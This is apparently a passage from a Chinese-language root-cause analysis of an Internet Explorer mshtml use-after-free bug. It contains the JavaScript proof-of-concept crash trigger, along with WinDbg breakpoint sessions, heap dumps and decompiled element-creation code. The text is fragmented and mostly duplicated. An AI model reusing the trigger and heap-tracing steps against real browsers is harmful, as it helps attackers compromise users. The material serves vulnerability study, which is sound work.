0x0000002f
770fa967
ntdll!RtlpFreeHeap
+
0x0000005d
770a32f2
ntdll!RtlFreeHeap
+
0x00000142
74eb14d1
kernel32!HeapFree
+
0x00000014
71eeb9a8
mshtml!CGenericElement::`scalar deleting destructor'
+
0x0000003d
72067dd0
mshtml!CBase::SubRelease
+
0x00000022
7205c482
mshtml!CElement::PrivateRelease
+
0x0000002a
7205b034
mshtml!PlainRelease
+
0x00000025
720b669d
mshtml!PlainTrackerRelease
+
0x00000014
71c9a6f1
jscript!VAR::Clear
+
0x0000005f
71cb6d66
jscript!GcContext::Reclaim
+
0x000000b6
71cb4309
jscript!GcContext::CollectCore
+
0x00000123
71d18572
jscript!JsCollectGarbage
+
0x0000001d
71ca74ac
jscript!NameTbl::InvokeInternal
+
0x00000141
......
f0
=
document.createElement(
'span'
);
document.body.appendChild(f0);
f1
=
document.createElement(
'span'
);
document.body.appendChild(f1);
f2
=
document.createElement(
'span'
);
document.body.appendChild(f2);
document.body.contentEditable
=
"true"
;
f2.appendChild(document.createElement(
'datalist'
));
/
/
has to be a data
list
f1.appendChild(document.createElement(
'table'
));
/
/
has to be a table
/
/
到此为止,上面的代码都是在创建元素,以及向DOM树中增添元素
try
{
f0.offsetParent
=
null;
/
/
这句一定要有,且位置不能变
}catch(e){ }
f2.innerHTML
=
"";
/
/
required
f0.appendChild(document.createElement(
'hr'
));
/
/
required
f1.innerHTML
=
"";
/
/
required 以上三句的顺序可以打乱
CollectGarbage();
/
/
最后异常发生在这之后
f0
=
document.createElement(
'span'
);
document.body.appendChild(f0);
f1
=
document.createElement(
'span'
);
document.body.appendChild(f1);
f2
=
document.createElement(
'span'
);
document.body.appendChild(f2);
document.body.contentEditable
=
"true"
;
f2.appendChild(document.createElement(
'datalist'
));
/
/
has to be a data
list
f1.appendChild(document.createElement(
'table'
));
/
/
has to be a table
/
/
到此为止,上面的代码都是在创建元素,以及向DOM树中增添元素
try
{
f0.offsetParent
=
null;
/
/
这句一定要有,且位置不能变
}catch(e){ }
f2.innerHTML
=
"";
/
/
required
f0.appendChild(document.createElement(
'hr'
));
/
/
required
f1.innerHTML
=
"";
/
/
required 以上三句的顺序可以打乱
CollectGarbage();
/
/
最后异常发生在这之后
0
:
005
> x mshtml!
*
document
*
createElement
*
71fa1dae
mshtml!CDocument::createElement
=
<no
type
information>
72070a40
mshtml!s_methdescCDocumentcreateElement
=
<no
type
information>
71fa1e07
mshtml!CDocument::CreateElementHelper
=
<no
type
information>
0
:
005
> x mshtml!
*
document
*
createElement
*
71fa1dae
mshtml!CDocument::createElement
=
<no
type
information>
72070a40
mshtml!s_methdescCDocumentcreateElement
=
<no
type
information>
71fa1e07
mshtml!CDocument::CreateElementHelper
=
<no
type
information>
CDocument::createElement → CDocument::CreateElementHelper → CMarkup::CreateElement → CreateElement
CDocument::createElement → CDocument::CreateElementHelper → CMarkup::CreateElement → CreateElement
0
:
013
> g
ModLoad:
71680000
71732000
C:\Windows\SysWOW64\jscript.dll
Breakpoint
0
hit
eax
=
00000000
ebx
=
0837f0ec
ecx
=
0be00fc8
edx
=
00000017
esi
=
0837ebc0
edi
=
0be00fc8
eip
=
7201c9b5
esp
=
0837eb8c
ebp
=
0837eba8
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
mshtml!CMarkup::CreateElement:
7201c9b5
8bff
mov edi,edi
0
:
005
> bp
7201ca58
0
:
005
> g
Breakpoint
1
hit
eax
=
0837ebc0
ebx
=
00000004
ecx
=
0d4c4f30
edx
=
0bd01680
esi
=
08c3c630
edi
=
0837eb18
eip
=
7201ca58
esp
=
0837eaf0
ebp
=
0837eb88
iopl
=
0
nv up ei pl nz na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000206
mshtml!CMarkup::CreateElement
+
0x2df
:
7201ca58
e85381fcff call mshtml!CreateElement (
71fe4bb0
)
0
:
013
> g
ModLoad:
71680000
71732000
C:\Windows\SysWOW64\jscript.dll
Breakpoint
0
hit
eax
=
00000000
ebx
=
0837f0ec
ecx
=
0be00fc8
edx
=
00000017
esi
=
0837ebc0
edi
=
0be00fc8
eip
=
7201c9b5
esp
=
0837eb8c
ebp
=
0837eba8
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
mshtml!CMarkup::CreateElement:
7201c9b5
8bff
mov edi,edi
0
:
005
> bp
7201ca58
0
:
005
> g
Breakpoint
1
hit
eax
=
0837ebc0
ebx
=
00000004
ecx
=
0d4c4f30
edx
=
0bd01680
esi
=
08c3c630
edi
=
0837eb18
eip
=
7201ca58
esp
=
0837eaf0
ebp
=
0837eb88
iopl
=
0
nv up ei pl nz na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000206
mshtml!CMarkup::CreateElement
+
0x2df
:
7201ca58
e85381fcff call mshtml!CreateElement (
71fe4bb0
)
71fe4bcc
0fb64701
movzx eax,byte ptr [edi
+
1
]
71fe4bd0
c1e004 shl eax,
4
71fe4bd3
05709a0772
add eax,offset mshtml!g_atagdesc (
72079a70
)
71fe4bd8
0f84b34e1500
je mshtml!CreateElement
+
0x2b
(
72139a91
) [br
=
0
]
71fe4bcc
0fb64701
movzx eax,byte ptr [edi
+
1
]
71fe4bd0
c1e004 shl eax,
4
71fe4bd3
05709a0772
add eax,offset mshtml!g_atagdesc (
72079a70
)
71fe4bd8
0f84b34e1500
je mshtml!CreateElement
+
0x2b
(
72139a91
) [br
=
0
]
0
:
005
> dds
72079a70
72079a70
71eaa6d4
mshtml!`string'
72079a74
7207a510
mshtml!g_pmiTextPlain
+
0x4
72079a78
722a8d29
mshtml!CTextElement::CreateElement
72079a7c
00000001
72079a80
71eaa6d4
mshtml!`string'
72079a84
7207a320
mshtml!s_hpcUnknown
72079a88
71fb310e
mshtml!CUnknownElement::CreateElement
72079a8c
20000001
72079a90
72065738
mshtml!g_tagascA2
+
0x8
72079a94
7207ab68
mshtml!g_entascsup2
+
0x14
72079a98
72002a0f
mshtml!CAnchorElement::CreateElement
72079a9c
00000000
72079aa0
72065744
mshtml!g_tagascABBR3
+
0x8
72079aa4
7207a630
mshtml!g_pmiImagePlug
+
0xb4
72079aa8
72019f4b
mshtml!CPhraseElement::CreateElement
72079aac
00000020
72079ab0
72065758
mshtml!g_tagascACRONYM4
+
0x8
72079ab4
7207a630
mshtml!g_pmiImagePlug
+
0xb4
72079ab8
72019f4b
mshtml!CPhraseElement::CreateElement
72079abc
00000020
72079ac0
72065778
mshtml!g_tagascADDRESS5
+
0x8
72079ac4
7207ac40
mshtml!g_entascmicro
+
0x14
72079ac8
71ef41f7
mshtml!CBlockElement::CreateElement
72079acc
00080042
72079ad0
72065790
mshtml!g_tagascAPPLET6
+
0x8
72079ad4
7207af58
mshtml!g_entascEuml203
+
0x14
72079ad8
71f51d8b
mshtml!CObjectElement::CreateElement
......
0
:
005
> dds
72079a70
72079a70
71eaa6d4
mshtml!`string'
72079a74
7207a510
mshtml!g_pmiTextPlain
+
0x4
72079a78
722a8d29
mshtml!CTextElement::CreateElement
72079a7c
00000001
72079a80
71eaa6d4
mshtml!`string'
72079a84
7207a320
mshtml!s_hpcUnknown
72079a88
71fb310e
mshtml!CUnknownElement::CreateElement
72079a8c
20000001
72079a90
72065738
mshtml!g_tagascA2
+
0x8
72079a94
7207ab68
mshtml!g_entascsup2
+
0x14
72079a98
72002a0f
mshtml!CAnchorElement::CreateElement
72079a9c
00000000
72079aa0
72065744
mshtml!g_tagascABBR3
+
0x8
72079aa4
7207a630
mshtml!g_pmiImagePlug
+
0xb4
72079aa8
72019f4b
mshtml!CPhraseElement::CreateElement
72079aac
00000020
72079ab0
72065758
mshtml!g_tagascACRONYM4
+
0x8
72079ab4
7207a630
mshtml!g_pmiImagePlug
+
0xb4
72079ab8
72019f4b
mshtml!CPhraseElement::CreateElement
72079abc
00000020
72079ac0
72065778
mshtml!g_tagascADDRESS5
+
0x8
72079ac4
7207ac40
mshtml!g_entascmicro
+
0x14
72079ac8
71ef41f7
mshtml!CBlockElement::CreateElement
72079acc
00080042
72079ad0
72065790
mshtml!g_tagascAPPLET6
+
0x8
72079ad4
7207af58
mshtml!g_entascEuml203
+
0x14
72079ad8
71f51d8b
mshtml!CObjectElement::CreateElement
......
代码:
71fe4bde
8b4008
mov eax,dword ptr [eax
+
8
]
71fe4be1
8d4d10
lea ecx,[ebp
+
10h
]
71fe4be4
51
push ecx
71fe4be5
52
push edx
71fe4be6
57
push edi
71fe4be7
ffd0 call eax {mshtml!CSpanElement::CreateElement (
71f9b07a
)}
windbg输出:
0
:
005
> p
eax
=
71f9b07a
ebx
=
72058308
ecx
=
0837eaf8
edx
=
0bd01680
esi
=
08c3c630
edi
=
0837eb18
eip
=
71fe4be7
esp
=
0837eac4
ebp
=
0837eae8
iopl
=
0
nv up ei pl nz na po nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000202
mshtml!CreateElement
+
0x41
:
71fe4be7
ffd0 call eax {mshtml!CSpanElement::CreateElement (
71f9b07a
)}
代码:
71fe4bde
8b4008
mov eax,dword ptr [eax
+
8
]
71fe4be1
8d4d10
lea ecx,[ebp
+
10h
]
71fe4be4
51
push ecx
71fe4be5
52
push edx
71fe4be6
57
push edi
71fe4be7
ffd0 call eax {mshtml!CSpanElement::CreateElement (
71f9b07a
)}
windbg输出:
0
:
005
> p
eax
=
71f9b07a
ebx
=
72058308
ecx
=
0837eaf8
edx
=
0bd01680
esi
=
08c3c630
edi
=
0837eb18
eip
=
71fe4be7
esp
=
0837eac4
ebp
=
0837eae8
iopl
=
0
nv up ei pl nz na po nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000202
mshtml!CreateElement
+
0x41
:
71fe4be7
ffd0 call eax {mshtml!CSpanElement::CreateElement (
71f9b07a
)}
unsigned
int
__stdcall CSpanElement::CreateElement(struct CHtmTag
*
a1, struct CDoc
*
a2, struct CElement
*
*
a3)
{
struct CElement
*
v3;
/
/
esi
struct CElement
*
v4;
/
/
eax
v3
=
(struct CElement
*
)HeapAlloc(g_hProcessHeap,
8u
,
0x28u
);
if
( v3 )
{
CElement::CElement(
91
, a2);
*
(_DWORD
*
)v3
=
&CSpanElement::`vftable';
v4
=
v3;
}
else
{
v4
=
0
;
}
*
a3
=
v4;
return
v4 !
=
0
?
0
:
0x8007000E
;
}
unsigned
int
__stdcall CSpanElement::CreateElement(struct CHtmTag
*
a1, struct CDoc
*
a2, struct CElement
*
*
a3)
{
struct CElement
*
v3;
/
/
esi
struct CElement
*
v4;
/
/
eax
v3
=
(struct CElement
*
)HeapAlloc(g_hProcessHeap,
8u
,
0x28u
);
if
( v3 )
{
CElement::CElement(
91
, a2);
*
(_DWORD
*
)v3
=
&CSpanElement::`vftable';
v4
=
v3;
}
else
{
v4
=
0
;
}
*
a3
=
v4;
return
v4 !
=
0
?
0
:
0x8007000E
;
}
int
__userpurge CElement::CElement@<eax>(
int
a1@<eax>, CBase
*
a2@<ecx>, char a3, _DWORD
*
a4)
{
CElement
*
v5;
/
/
ecx
struct CSecurityContext
*
v7;
/
/
[esp
+
0h
] [ebp
-
Ch]
CBase::CBase(a2);
*
(_DWORD
*
)(a1
+
36
)
=
0
;
*
(_DWORD
*
)a1
=
&CElement::`vftable';
(
*
(void (__thiscall
*
*
)(_DWORD
*
))(
*
a4
+
112
))(a4);
CElement::ReplaceSecurityContext(v5, v7);
a4[
2
]
+
=
8
;
_IncrementObjectCount();
*
(_DWORD
*
)(a1
+
28
) &
=
0xFFFBFFFF
;
*
(_BYTE
*
)(a1
+
32
) &
=
0xFEu
;
*
(_BYTE
*
)(a1
+
24
)
=
a3;
return
a1;
}
int
__userpurge CElement::CElement@<eax>(
int
a1@<eax>, CBase
*
a2@<ecx>, char a3, _DWORD
*
a4)
{
CElement
*
v5;
/
/
ecx
struct CSecurityContext
*
v7;
/
/
[esp
+
0h
] [ebp
-
Ch]
CBase::CBase(a2);
*
(_DWORD
*
)(a1
+
36
)
=
0
;
*
(_DWORD
*
)a1
=
&CElement::`vftable';
(
*
(void (__thiscall
*
*
)(_DWORD
*
))(
*
a4
+
112
))(a4);
CElement::ReplaceSecurityContext(v5, v7);
a4[
2
]
+
=
8
;
_IncrementObjectCount();
*
(_DWORD
*
)(a1
+
28
) &
=
0xFFFBFFFF
;
*
(_BYTE
*
)(a1
+
32
) &
=
0xFEu
;
*
(_BYTE
*
)(a1
+
24
)
=
a3;
return
a1;
}
mshtml!CDocument::createElement
-
>
mshtml!CDocument::CreateElementHelper
-
>
mshtml!CMarkup::CreateElement
-
>
mshtml!CreateElement
-
>
/
/
具体偏移位置为
0x41
mshtml!C
*
*
*
Element::CreateElement
-
>
mshtml!CElement::CElement
/
/
ret语句在偏移
0x4c
处
mshtml!CDocument::createElement
-
>
mshtml!CDocument::CreateElementHelper
-
>
mshtml!CMarkup::CreateElement
-
>
mshtml!CreateElement
-
>
/
/
具体偏移位置为
0x41
mshtml!C
*
*
*
Element::CreateElement
-
>
mshtml!CElement::CElement
/
/
ret语句在偏移
0x4c
处
bu mshtml!CreateElement
+
0x41
"ln eax;g"
/
/
0x41
处调用了具体某个元素的createElement函数,并且eax中保存了该函数地址,这里可以显示元素类型
bu mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
/
/
0x4c
处执行返回语句,此时eax寄存器中保存了返回值,指向为该元素分配的空间
/
/
该空间大小为
10
*
4
=
40
=
0x28
字节,这里显示分配空间的地址及内容
bu mshtml!CreateElement
+
0x41
"ln eax;g"
/
/
0x41
处调用了具体某个元素的createElement函数,并且eax中保存了该函数地址,这里可以显示元素类型
bu mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
/
/
0x4c
处执行返回语句,此时eax寄存器中保存了返回值,指向为该元素分配的空间
/
/
该空间大小为
10
*
4
=
40
=
0x28
字节,这里显示分配空间的地址及内容
7708000c
cc
int
3
0
:
013
> bu mshtml!CreateElement
+
0x41
"ln eax;g"
Matched:
7108d88c
mshtml!CreateElement
=
<no
type
information>
Matched:
71084bb0
mshtml!CreateElement
=
<no
type
information>
Ambiguous symbol error at
'mshtml!CreateElement+0x41 "ln eax;g"'
7708000c
cc
int
3
0
:
013
> bu mshtml!CreateElement
+
0x41
"ln eax;g"
Matched:
7108d88c
mshtml!CreateElement
=
<no
type
information>
Matched:
71084bb0
mshtml!CreateElement
=
<no
type
information>
Ambiguous symbol error at
'mshtml!CreateElement+0x41 "ln eax;g"'
mshtml!CreateElement
+
0x38
:
71084bde
8b4008
mov eax,dword ptr [eax
+
8
]
71084be1
8d4d10
lea ecx,[ebp
+
10h
]
71084be4
51
push ecx
71084be5
52
push edx
71084be6
57
push edi
71084be7
ffd0 call eax
mshtml!CreateElement
+
0x38
:
71084bde
8b4008
mov eax,dword ptr [eax
+
8
]
71084be1
8d4d10
lea ecx,[ebp
+
10h
]
71084be4
51
push ecx
71084be5
52
push edx
71084be6
57
push edi
71084be7
ffd0 call eax
0
:
013
> bp
71084be7
"ln eax;g"
0
:
013
> bu mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
0
:
013
> bl
0
e
71084be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
7108485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
0
:
013
> bp
71084be7
"ln eax;g"
0
:
013
> bu mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
0
:
013
> bl
0
e
71084be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
7108485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
0
:
005
> x mshtml!
*
appendChild
*
710420c4
mshtml!CElement::appendChild
=
<no
type
information>
712a6382
mshtml!CAttribute::appendChild
=
<no
type
information>
712a57e6
mshtml!CDOMTextNode::appendChild
=
<no
type
information>
71192bc8
mshtml!s_methdescCAttributeappendChild
=
<no
type
information>
710fe458
mshtml!s_methdescCElementappendChild
=
<no
type
information>
7104af3c
mshtml!CDocument::appendChild
=
<no
type
information>
0
:
005
> x mshtml!
*
appendChild
*
710420c4
mshtml!CElement::appendChild
=
<no
type
information>
712a6382
mshtml!CAttribute::appendChild
=
<no
type
information>
712a57e6
mshtml!CDOMTextNode::appendChild
=
<no
type
information>
71192bc8
mshtml!s_methdescCAttributeappendChild
=
<no
type
information>
710fe458
mshtml!s_methdescCElementappendChild
=
<no
type
information>
7104af3c
mshtml!CDocument::appendChild
=
<no
type
information>
document.body.appendChild(f2);
f2.appendChild(document.createElement(
'datalist'
));
document.body.appendChild(f2);
f2.appendChild(document.createElement(
'datalist'
));
CDocument::appendChild
-
>
CElement::appendChild
-
>
CElement::insertBefore
-
>
CElement::InsertBeforeHelper
-
>
CElement::GetDOMInsertPosition
-
InsertDOMNodeHelper
-
>
CDoc::InsertElement
-
>
CMarkup::InsertElementInternal
-
>
(CTreeNode
*
)HeapAlloc(g_hProcessHeap,
8u
,
0x4Cu
);
CDocument::appendChild
-
>
CElement::appendChild
-
>
CElement::insertBefore
-
>
CElement::InsertBeforeHelper
-
>
CElement::GetDOMInsertPosition
-
InsertDOMNodeHelper
-
>
CDoc::InsertElement
-
>
CMarkup::InsertElementInternal
-
>
(CTreeNode
*
)HeapAlloc(g_hProcessHeap,
8u
,
0x4Cu
);
0
:
005
> p
eax
=
0d4c4fb0
ebx
=
00000000
ecx
=
00000000
edx
=
00000000
esi
=
0864ed30
edi
=
0864ed24
eip
=
72a40ce5
esp
=
0864ec64
ebp
=
0864ed00
iopl
=
0
nv up ei pl nz na po nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000202
mshtml!CMarkup::InsertElementInternal
+
0x224
:
72a40ce5
ff15c4129272 call dword ptr [mshtml!_imp__HeapAlloc (
729212c4
)] ds:
002b
:
729212c4
=
{ntdll!RtlAllocateHeap (
7709dec6
)}
0
:
005
> p
eax
=
0d008fb0
ebx
=
00000000
ecx
=
770a3b23
edx
=
00000000
esi
=
0864ed30
edi
=
0864ed24
eip
=
72a40ceb
esp
=
0864ec70
ebp
=
0864ed00
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
mshtml!CMarkup::InsertElementInternal
+
0x22a
:
72a40ceb
3bc3
cmp
eax,ebx
0
:
005
> p
eax
=
0d4c4fb0
ebx
=
00000000
ecx
=
00000000
edx
=
00000000
esi
=
0864ed30
edi
=
0864ed24
eip
=
72a40ce5
esp
=
0864ec64
ebp
=
0864ed00
iopl
=
0
nv up ei pl nz na po nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000202
mshtml!CMarkup::InsertElementInternal
+
0x224
:
72a40ce5
ff15c4129272 call dword ptr [mshtml!_imp__HeapAlloc (
729212c4
)] ds:
002b
:
729212c4
=
{ntdll!RtlAllocateHeap (
7709dec6
)}
0
:
005
> p
eax
=
0d008fb0
ebx
=
00000000
ecx
=
770a3b23
edx
=
00000000
esi
=
0864ed30
edi
=
0864ed24
eip
=
72a40ceb
esp
=
0864ec70
ebp
=
0864ed00
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
mshtml!CMarkup::InsertElementInternal
+
0x22a
:
72a40ceb
3bc3
cmp
eax,ebx
72a40cf3
8b7d0c
mov edi,dword ptr [ebp
+
0Ch
]
72a40cf6
53
push ebx
72a40cf7
ff742410 push dword ptr [esp
+
10h
]
72a40cfb
8bc8
mov ecx,eax
72a40cfd
e8cec10a00 call mshtml!CTreeNode::CTreeNode (
72aeced0
)
72a40cf3
8b7d0c
mov edi,dword ptr [ebp
+
0Ch
]
72a40cf6
53
push ebx
72a40cf7
ff742410 push dword ptr [esp
+
10h
]
72a40cfb
8bc8
mov ecx,eax
72a40cfd
e8cec10a00 call mshtml!CTreeNode::CTreeNode (
72aeced0
)
0
:
005
> ddp eax L5
0d008fb0
0c56dfd8
72a1b0c8
mshtml!CSpanElement::`vftable'
0d008fb4
0d4c4fb0
0d5d4fd0
0d008fb8
ffff005b
0d008fbc
ffffffff
0d008fc0
00000000
0
:
005
> ddp eax L5
0d008fb0
0c56dfd8
72a1b0c8
mshtml!CSpanElement::`vftable'
0d008fb4
0d4c4fb0
0d5d4fd0
0d008fb8
ffff005b
0d008fbc
ffffffff
0d008fc0
00000000
0
:
014
> bu mshtml!CreateElement
+
0x41
"ln eax;g"
Matched:
72a6d88c
mshtml!CreateElement
=
<no
type
information>
Matched:
72a64bb0
mshtml!CreateElement
=
<no
type
information>
Ambiguous symbol error at
'mshtml!CreateElement+0x41 "ln eax;g"'
0
:
014
> bp
72a64bb0
+
0x37
"ln eax;g"
0
:
014
> bu mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
0
:
014
> bu mshtml!CMarkup::InsertElementInternal
+
0x1de
".echo '=== CTreeNode ===';ddp eax L13;g"
0
:
014
> bl
0
e
72a64be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
72a6485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
2
e
72a40d02
0001
(
0001
)
0
:
*
*
*
*
mshtml!CMarkup::InsertElementInternal
+
0x23d
".echo '=== CTreeNode ===';ddp eax L13;g"
0
:
014
> bu mshtml!CreateElement
+
0x41
"ln eax;g"
Matched:
72a6d88c
mshtml!CreateElement
=
<no
type
information>
Matched:
72a64bb0
mshtml!CreateElement
=
<no
type
information>
Ambiguous symbol error at
'mshtml!CreateElement+0x41 "ln eax;g"'
0
:
014
> bp
72a64bb0
+
0x37
"ln eax;g"
0
:
014
> bu mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
0
:
014
> bu mshtml!CMarkup::InsertElementInternal
+
0x1de
".echo '=== CTreeNode ===';ddp eax L13;g"
0
:
014
> bl
0
e
72a64be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
72a6485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=== CElement ===';dd eax La;g"
2
e
72a40d02
0001
(
0001
)
0
:
*
*
*
*
mshtml!CMarkup::InsertElementInternal
+
0x23d
".echo '=== CTreeNode ===';ddp eax L13;g"
0
:
005
> x mshtml!
*
offsetParent
*
72d078ec
mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent
=
<no
type
information>
72d078d3
mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent
=
<no
type
information>
72d07d13
mshtml!CDisplayBox::IsOffsetParent
=
<no
type
information>
729318ba
mshtml!CDisplayBox::FindOffsetParent
=
<no
type
information>
72d079b0
mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft
=
<no
type
information>
72cfebda
mshtml!CLayoutBlock::IsOffsetParent
=
<no
type
information>
72d07980
mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox
=
<no
type
information>
72d07911
mshtml!CDisplayRequestGetOffsetParent::OffsetParent
=
<no
type
information>
729520e1
mshtml!CElement::GetOffsetParentHelper
=
<no
type
information>
72d084a0
mshtml!CTextDisplayBox::IsOffsetParent
=
<no
type
information>
72adde34
mshtml!s_propdescCElementoffsetParent
=
<no
type
information>
72d07998
mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox
=
<no
type
information>
729521d2
mshtml!CElement::get_offsetParent
=
<no
type
information>
7293186c
mshtml!CDisplayBox::TransformRectToOffsetParent
=
<no
type
information>
0
:
005
> x mshtml!
*
offsetParent
*
72d078ec
mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent
=
<no
type
information>
72d078d3
mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent
=
<no
type
information>
72d07d13
mshtml!CDisplayBox::IsOffsetParent
=
<no
type
information>
729318ba
mshtml!CDisplayBox::FindOffsetParent
=
<no
type
information>
72d079b0
mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft
=
<no
type
information>
72cfebda
mshtml!CLayoutBlock::IsOffsetParent
=
<no
type
information>
72d07980
mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox
=
<no
type
information>
72d07911
mshtml!CDisplayRequestGetOffsetParent::OffsetParent
=
<no
type
information>
729520e1
mshtml!CElement::GetOffsetParentHelper
=
<no
type
information>
72d084a0
mshtml!CTextDisplayBox::IsOffsetParent
=
<no
type
information>
72adde34
mshtml!s_propdescCElementoffsetParent
=
<no
type
information>
72d07998
mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox
=
<no
type
information>
729521d2
mshtml!CElement::get_offsetParent
=
<no
type
information>
7293186c
mshtml!CDisplayBox::TransformRectToOffsetParent
=
<no
type
information>
729520e1
mshtml!CElement::GetOffsetParentHelper
=
<no
type
information>
729521d2
mshtml!CElement::get_offsetParent
=
<no
type
information>
729520e1
mshtml!CElement::GetOffsetParentHelper
=
<no
type
information>
729521d2
mshtml!CElement::get_offsetParent
=
<no
type
information>
0
:
013
> bu mshtml!CreateElement
+
0x41
"ln eax;g"
Matched:
71fed88c
mshtml!CreateElement
=
<no
type
information>
Matched:
71fe4bb0
mshtml!CreateElement
=
<no
type
information>
Ambiguous symbol error at
'mshtml!CreateElement+0x41 "ln eax;g"'
0
:
013
> bp
71fe4bb0
+
0x37
"ln eax;g"
/
/
这里显示创建的元素类型
0
:
013
> bu mshtml!CElement::CElement
+
0x4c
".echo '=celement='; r eax;g"
/
/
这里显示创建元素时分配空间的地址
0
:
013
> bu mshtml!CMarkup::InsertElementInternal
+
0x1de
".echo '= CTreeNode =';r eax;g"
/
/
这里显示创建DOM节点时分配空间的地址
/
/
通过以上断点,可以获得和每个元素相关的堆块空间的地址
0
:
013
> bu CElement::GetOffsetParentHelper
/
/
程序会断在调用这个函数的时候
0
:
013
> bl
0
e
71fe4be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
71fe485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=celement='; r eax;g"
2
e
71fc0d02
0001
(
0001
)
0
:
*
*
*
*
mshtml!CMarkup::InsertElementInternal
+
0x23d
".echo '= CTreeNode =';r eax;g"
3
e
71ed20e1
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::GetOffsetParentHelper
0
:
013
> bu mshtml!CreateElement
+
0x41
"ln eax;g"
Matched:
71fed88c
mshtml!CreateElement
=
<no
type
information>
Matched:
71fe4bb0
mshtml!CreateElement
=
<no
type
information>
Ambiguous symbol error at
'mshtml!CreateElement+0x41 "ln eax;g"'
0
:
013
> bp
71fe4bb0
+
0x37
"ln eax;g"
/
/
这里显示创建的元素类型
0
:
013
> bu mshtml!CElement::CElement
+
0x4c
".echo '=celement='; r eax;g"
/
/
这里显示创建元素时分配空间的地址
0
:
013
> bu mshtml!CMarkup::InsertElementInternal
+
0x1de
".echo '= CTreeNode =';r eax;g"
/
/
这里显示创建DOM节点时分配空间的地址
/
/
通过以上断点,可以获得和每个元素相关的堆块空间的地址
0
:
013
> bu CElement::GetOffsetParentHelper
/
/
程序会断在调用这个函数的时候
0
:
013
> bl
0
e
71fe4be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
71fe485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=celement='; r eax;g"
2
e
71fc0d02
0001
(
0001
)
0
:
*
*
*
*
mshtml!CMarkup::InsertElementInternal
+
0x23d
".echo '= CTreeNode =';r eax;g"
3
e
71ed20e1
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::GetOffsetParentHelper
f2.innerHTML
=
"";
/
/
required
f0.appendChild(document.createElement(
'hr'
));
/
/
required
f1.innerHTML
=
"";
/
/
required
CollectGarbage();
f2.innerHTML
=
"";
/
/
required
f0.appendChild(document.createElement(
'hr'
));
/
/
required
f1.innerHTML
=
"";
/
/
required
CollectGarbage();
0
:
005
> x mshtml!
*
innerHTML
*
7205d2ec
mshtml!s_propdescCElementinnerHTML
=
<no
type
information>
71fb66c7
mshtml!CElement::get_innerHTML
=
<no
type
information>
71fa984c
mshtml!CElement::put_innerHTML
=
<no
type
information>
0
:
005
> x mshtml!
*
innerHTML
*
7205d2ec
mshtml!s_propdescCElementinnerHTML
=
<no
type
information>
71fb66c7
mshtml!CElement::get_innerHTML
=
<no
type
information>
71fa984c
mshtml!CElement::put_innerHTML
=
<no
type
information>
0
:
005
> bl
0
e
71fe4be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
71fe485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=celement='; r eax;g"
2
e
71fc0d02
0001
(
0001
)
0
:
*
*
*
*
